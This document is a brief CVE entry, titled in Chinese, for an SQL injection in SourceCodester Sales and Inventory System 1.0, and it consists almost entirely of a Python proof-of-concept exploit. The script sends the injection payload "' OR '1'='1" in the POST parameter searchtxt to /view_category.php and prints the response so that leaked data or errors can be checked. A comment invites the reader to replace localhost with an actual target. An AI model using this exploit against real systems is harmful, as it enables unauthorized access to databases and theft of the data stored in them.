CVE-2026-4569 SourceCodester库存系统SQL注入漏洞

import requests def exploit_sqli(target_url): """ Exploit SQL Injection in SourceCodester Sales and Inventory System 1.0 Vulnerable file: /view_category.php Vulnerable parameter: searchtxt (POST) """ url = f"{target_url}/view_category.php" # Basic SQL Injection payload to test vulnerability payload = { "searchtxt": "' OR '1'='1" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } try: response = requests.post(url, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check the response for potential database errors or data leakage.") print(response.text[:500]) # Print first 500 chars for verification else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target exploit_sqli(target)